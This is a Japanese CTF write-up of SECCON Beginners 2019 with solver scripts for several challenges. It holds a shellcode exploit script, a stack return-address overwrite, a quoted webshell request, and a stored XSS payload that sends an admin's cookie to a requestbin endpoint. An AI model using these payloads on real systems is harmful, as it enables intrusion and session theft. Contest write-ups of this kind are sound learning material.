SECCON Beginners CTF 2019 Writeup

チームnicklegrで個人参加。

1755点で55位(666チーム中)でした。

final_score.png

challenges_20190526-1459.png

Beginnersなので割と解けた問題が多くて楽しかった。

あとサーバステータスバッジがいい感じでした。

BeginnersなこともあってTop 3は全完だったけど、2位と3位の方は個人で全完してて本当にすごい。


Misc


[warmup] Welcome

公式IRCに入るとフラグが書いてある。

welcome.png

この方式面白いなー。自然な誘導になる。

ctf4b{welcome_to_seccon_beginners_ctf}


containers

バイナリダンプするとpngが見えるのでまずはbinwalk。

$ binwalk -e -D 'png image:png' e35860e49ca3fa367e456207ebc9ff2f_containers

1文字だけ書いてある画像がたくさん出てきたので、アドレス順にソートしてimagemagickでくっつけた。

files = Dir.glob("_e35860e49ca3fa367e456207ebc9ff2f_containers.extracted/*.png")

files.sort_by! do |a|
File.basename(a, ".png").hex
end

puts files.join("\n")

cmd = "convert +append #{files.join(" ")} out.png"
puts cmd
system(cmd)

out.png

ctf4b{e52df60c058746a66e4ac4f34db6fc81}


Dump

fileしたらtcpdumpらしいので、Wiresharkで開いた。

webshellでフラグを取得してるみたい。

GET /webshell.php?cmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag HTTP/1.1

Host: 192.168.75.230
User-Agent: curl/7.54.0
Accept: */*

HTTP/1.1 200 OK
Date: Sun, 07 Apr 2019 11:55:27 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

<html>
<head>
<title>Web Shell</title>
</head>
<pre>
037 213 010 000 012 325 251 134 000 003 354 375 007 124 023 133
327 007 214 117 350 115 272 110 047 012 212 122 223 320 022 252
164 220 052 275 051 204 044 100 050 011 044 024 101 120 274 166
...
243 140 024 214 202 121 060 012 106 301 050 030 005 344 000 000
050 241 022 115 000 060 014 000
</pre>
</html>

cmdの部分をURLデコードすると(最近知ったんだけどCyberChefが便利)

hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/flag

8進数で出力してるらしい。なんでわざわざ。

# coding: ascii-8bit

ret = ""

File.readlines("octals.txt").each do |line|
ret += line.split.map{|e| e.to_i(8)}.pack("C*")
end

print ret

するとtar.gzになるので、解凍するとフラグ画像が出てくる。

flag.jpg

ctf4b{hexdump_is_very_useful}


Crypto


[warmup] So Tired

encrypted.txtがもらえる。365KBもある。

eJwUm7V25UAQBT9IgZjCJ2bmTMzM+vr1xj62R6Pue6t8nkvl ...

見た目base64なのでデコードすると

00000000: 78 9c 14 9b b5 76 e5 40 10 05 3f 48 81 98 c2 27  x....v.@..?H...'

00000010: 66 e6 4c cc cc fa fa f5 c6 3e b6 47 a3 ee 7b ab f.L......>.G..{.
00000020: 7c 9e 4b e5 f6 47 2a 32 57 e4 17 37 2c 20 33 21 |.K..G*2W..7, 3!
00000030: ae a1 06 9a 60 8e 83 9e e0 f6 4d 30 cc 21 73 76 ....`.....M0.!sv
...

先頭が78 9cはzlib。ググれば出てくる

展開するとまたbase64文字列が出てくる。マトリョーシカね。

require "base64"

require "zlib"

encrypted = File.binread("encrypted.txt")

data = encrypted
loop do
data = Zlib::Inflate.inflate(Base64.decode64(data))
puts data
end

ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}


Pwnable


[warmup] shellcoder


  • シェルコードを投げれば素直に実行してくれる

  • sizeは0x28 = 40バイト以内

  • 下記の文字を含んではいけない


    • 0x62 b

    • 0x69 i

    • 0x6e n

    • 0x73 s

    • 0x68 h



shell-storm.orgで探したら条件に合うものがあった。拾いもので解けてしまった。

require "pp"

require_relative "../pwnlib"

def p64(a)
[a].pack("Q<")
end

def u64(a)
a.unpack("Q<")[0]
end

# http://shell-storm.org/shellcode/files/shellcode-806.php
payload = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

PwnTube.open("153.120.129.186", 20000) do |t|
t.recv_until("Are you shellcoder?\n")
t.send(payload.ljust(0x28))
t.shell
end

ctf4b{Byp4ss_us!ng6_X0R_3nc0de}


memo

解けなかった。

hiddenという関数があって、そこに飛ばすと親切にshを実行してくれる。

Input sizeと聞かれるけど、実はサイズじゃなくて、入力を受け取るスタック上のバッファのアドレスが変動する。

負の値も受け付けるので、-96にするとreturn addressの8バイト手前になる。

ということでreturn addressをhiddenに書き換えればいい。

でもローカルでは通ったけどリモートではダメだった。

require "pp"

require "hexdump"
require_relative "pwnlib"

def p64(a)
[a].pack("Q<")
end

def u64(a)
a.unpack("Q<")[0]
end

addr_hidden = 0x4007bd
payload = p64(addr_hidden) * 2
# Hexdump.dump(payload, :width => 16)

PwnTube.open("133.242.68.223", 35285) do |t|
t.recv_until("Input size : ")
t.sendline("-96")
t.recv_until("Input Content : ")
t.sendline(payload)
t.recv_until("\n")

t.shell
end

終了後に見たらヒントが追加されていて、サーバの環境はubuntu 18.04.2 LTSと書いてあった。

ローカルは16.04だからその違いかな。ヒント追加は告知してほしい…


OneLine

解けなかった。

gdb-peda$ checksec

CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL

0x28 = 40バイトのreadを2回行う。

readしたデータの末尾8バイトをアドレスとしてcallする。

その時の状態は


  • rax = callしたaddr

  • rcx = rsi = バッファの先頭

  • edx = 0x28

  • edi = 1

この条件は2回とも同じ。

libcの何かの関数に飛ばすと、引数はfunc(1, buf, 0x28, buf)となる。

writeに飛ばせばstdout(== 1)にバッファの内容を出力してくれるけど、それでは特に何もできない。

任意のアドレスをリークできる関数がないか探したら、


ssize_t writev(int fd, const struct iovec *iov, int iovcnt);

writev() システムコールは、 iov で指定されたバッファーから最大 iovcnt 個のバッファー分のデータを取り出し、

ファイルディスクリプター fd に関連付けら れたファイルに書き込む ("gather output";「かき集め出力」)。


という面白いのがあったけど、iovcnt = 0x28になるのでたぶんSEGVする。

これ以上は思いつかなかった。


Reversing


[warmup] Seccompare

1バイトずつスタックに書き込んだあと、それとstrcmpしてるだけ。

                     loc_400630:

0000000000400630 mov byte [rbp+var_30], 0x63 ; CODE XREF=main+34
0000000000400634 mov byte [rbp+var_2F], 0x74
0000000000400638 mov byte [rbp+var_2E], 0x66
000000000040063c mov byte [rbp+var_2D], 0x34
0000000000400640 mov byte [rbp+var_2C], 0x62
0000000000400644 mov byte [rbp+var_2B], 0x7b
0000000000400648 mov byte [rbp+var_2A], 0x35
000000000040064c mov byte [rbp+var_29], 0x74
...

これもCyberChefが便利。

ctf4b{5tr1ngs_1s_n0t_en0ugh}


Leakage

この問題が一番楽しめた。

is_correct関数で判定している。

まず正解は0x22 = 34文字。

00000000004005fa         call       j_strlen                                    ; strlen

00000000004005ff cmp rax, 0x22
0000000000400603 je loc_40060c

convert関数の中でいろいろかき回してるけど、最後に正解判定をするのは1バイト単位。

000000000040062b         call       convert                                     ; convert

0000000000400630 mov byte [rbp+var_5], al
0000000000400633 mov eax, dword [rbp+var_4]
0000000000400636 movsxd rdx, eax
0000000000400639 mov rax, qword [rbp+var_18]
000000000040063d add rax, rdx
0000000000400640 movzx eax, byte [rax]
0000000000400643 cmp byte [rbp+var_5], al

なので、先頭から1バイトずつ総当たりが可能。下記の方針で解いた。


  • 正解文字数をstdoutに出力するようパッチを当てる

  • スクリプトで総当たり

is_correct内で、間違ってたら0を返すところを、先頭からの正解文字数を返すようにする。

Before:

0000000000400648         mov        eax, 0x0

000000000040064d jmp is_correct+119

After:

0000000000400648         mov        eax, dword [rbp-4]

000000000040064b nop
000000000040064c nop
000000000040064d jmp is_correct+119

main関数で、is_correctの戻り値をprintfするように変更 (文字列correct%sに変更した)

Before:

00000000004006a5         call       is_correct                                  ; is_correct

00000000004006aa test eax, eax
00000000004006ac je loc_4006bc
00000000004006ae lea rdi, qword [aCorrect] ; argument "__s" for method j_puts, "correct"
00000000004006b5 call j_puts ; puts

After:

00000000004006a5         call       is_correct                                  ; is_correct

00000000004006aa mov rsi, rax
00000000004006ad nop
00000000004006ae lea rdi, qword [aCorrect] ; argument #1, "correct"
00000000004006b5 call 0x0+4195568 ; printf

総当たりスクリプトは

str = "A" * 34

chars = ("!".."~").to_a - %w|'|

34.times do |i|
chars.each do |ch|
str[i] = ch
result = `./leakage '#{str}'`
break if result.to_i > i
end
end

puts str

ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}


Linear Operation

やたら複雑なis_correct関数がある。

まず先頭がctf4b{かチェックし、63文字目が}かチェックしている。

なので正解は63文字。

その後は、入力から2文字ピックアップして、

00000000004006af         mov        rax, qword [rbp+var_2F88]

00000000004006b6 add rax, 0x3
00000000004006ba movzx eax, byte [rax]
00000000004006bd movzx eax, al
00000000004006c0 mov rdx, qword [rbp+var_2F88]
00000000004006c7 add rdx, 0x13
00000000004006cb movzx edx, byte [rdx]
00000000004006ce movzx edx, dl

いろいろ計算した結果が特定の値になるか、という判定を延々とやっている。

00000000004007e9         cmp        qword [rbp+var_2EE8], 0x1288

00000000004007f4 jne loc_40cbda

問題名もLinear Operationだし、これは定式化してz3pyで解くやつか、面倒だなぁ。

と思ったところでangrというツールがすごいという噂を思い出して、試してみた。

import angr

import claripy

p = angr.Project('./linear_operation', load_options={'auto_load_libs': False})

flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(63)]
flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])

state = p.factory.full_init_state(
args=['./linear_operation'],
add_options={angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY} | {angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS},
stdin=flag,
)

for k in flag_chars:
state.solver.add(k != 0)
state.solver.add(k != 10)

simgr = p.factory.simulation_manager(state)

simgr.explore(find=lambda s: b"correct" in s.posix.dumps(1))

found = simgr.found[0]
print(found.solver.eval(flag, cast_to=bytes))

文字数を制約に与えただけでほんとに解けてしまった。3分もかかってない。化け物かコイツは。

$ mkvirtualenv --python=$(which python3) angr && pip install angr

...
(angr) $ time python3 main.py
b'ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}\n'

real 2m32.096s
user 2m31.450s
sys 0m0.531s

APIが頻繁に変わってるようで最新版で動くコードを書くのに苦労した。よく理解もせずにあちこちのサイトからつぎはぎ。

フラグ内容からすると、想定解もangrなのね。

ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}


Web


[warmup] Ramen

SQLインジェクションやるだけ。Beginnersのオンサイト大会でやったやつだ。

Screenshot-2019-5-26 Modern Ramen.png

ctf4b{a_simple_sql_injection_with_union_select}


katsudon


フラグは BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a です


とのことなので、試しに前半をbase64デコードしてみたら

% echo "BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU" | base64 -d | xxd -g 1

00000000: 04 08 49 22 25 63 74 66 34 62 7b 4b 33 33 50 5f ..I"%ctf4b{K33P_
00000010: 59 30 55 52 5f 35 33 43 52 33 37 5f 4b 33 59 5f Y0UR_53CR37_K3Y_
00000020: 42 34 35 33 7d 06 3a 06 45 54 B453}.:.ET

えー、それでいいの?後半使わないの?

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

これで通ったけど、出題ミスだったらしい。後で修正版が別の問題として公開された。そっちは未着手。


Himitsu

ブログサイトみたいなやつ。記事を運営に送信するボタンがある。


抱え込まないでくださいね。

もし一人で秘密を抱えるのが大変であれば、ぜひ運営に共有してください。


ということで、運営にXSSを踏ませてadminのCookieを手に入れる問題かな。

ソースコード付きなので見ていくと、タイトルや記事IDはフレームワークでエスケープしているが、本文は自前でやっている。

ブログ記法がいろいろあって、中でも下記のが怪しい。ここにエスケープ漏れがないかな。


[#記事ID#]

ページのタイトルを埋め込むことができます。例: [#a42a78de275ae00e31d337bd6bd75150#]


見てみるとちゃんとチェックされている。

// here we should only validate and shouldn't replace; [# ... #] should be replaced here because the title can be changed :-)

preg_match_all('/\[#(.*?)#\]/', $body, $matches);
foreach(range(0, count($matches)-1) as $i){
$found_article_key = $matches[1][$i];
$found_article = $mapper->getArticle($found_article_key);
if (preg_match('/[<>"\']/', $found_article['title'])){
return $this->app->renderer->render($response, 'new.twig', [
'error_message' => '埋め込み先の記事タイトルが不正です。',
'title' => $data['title'],
'abstract' => $data['abstract'],
'body' => $data['body'],
'token' => $this->get_csrf_token($request)
]);
}
}

ただこのチェックは投稿時で、その時点ではタイトルを埋め込まない。実際に埋め込むのは表示時。そして表示時にチェックはされていない。

コメントのヒント通り、投稿時のチェックを通して後からタイトルを変更すればXSSを埋め込める。

ただサイトに記事の編集機能はない。どうするか。

記事IDの生成ロジックを見ると、

public function createArticle($username, $title, $abstract, $body) {

$created_at = date("Y/m/d H:i");
$article_key = md5($username . $created_at . $title);

時刻を分単位までしか使ってない。ユーザー名とタイトルは指定できる。

なので記事IDは予測可能。これだ。


  • 予測した記事IDを指定して埋め込みタグを使い、記事を投稿する(記事A)


    • この時点では記事が存在しないが、エラーにはならずチェックが通る



  • 予測通りの記事IDになるよう投稿し、タイトルにペイロードを仕込む(記事B)

ペイロードを作って、記事IDを予測する。ユーザー名はhoge1

(若干バグってるのはご愛敬。あとURLをマスクしたので実際のハッシュと違う)

% cat payload.txt

hoge12019/05/26 12:40<script>document.write("<img src='https://requestbin.fullcontact.com/xxxxxxx/?v=XSS-" + document.cookie + ">'")</script>
% cat payload.txt | md5sum
c1bac4fc18e4a44865b87c749d571325 -

記事Aを下記の本文で投稿。

[#c1bac4fc18e4a44865b87c749d571325#]

12:40になったら、記事Bを下記のタイトルで投稿。

<script>document.write("<img src='https://requestbin.fullcontact.com/xxxxxxx/?v=XSS-" + document.cookie + ">'")</script>

この状態で記事Aを開くとXSSが発火する。これを運営に送信。

image.png

よーし、adminのCookieいただき。ブラウザのCookieをこれに書き換えてアクセス。

himitsu_flag_1.PNG

himitsu_flag_2.PNG

ctf4b{simple_xss_just_do_it_haha_haha}

やるだけというには歯ごたえあった。楽しかった。


他の方のWriteup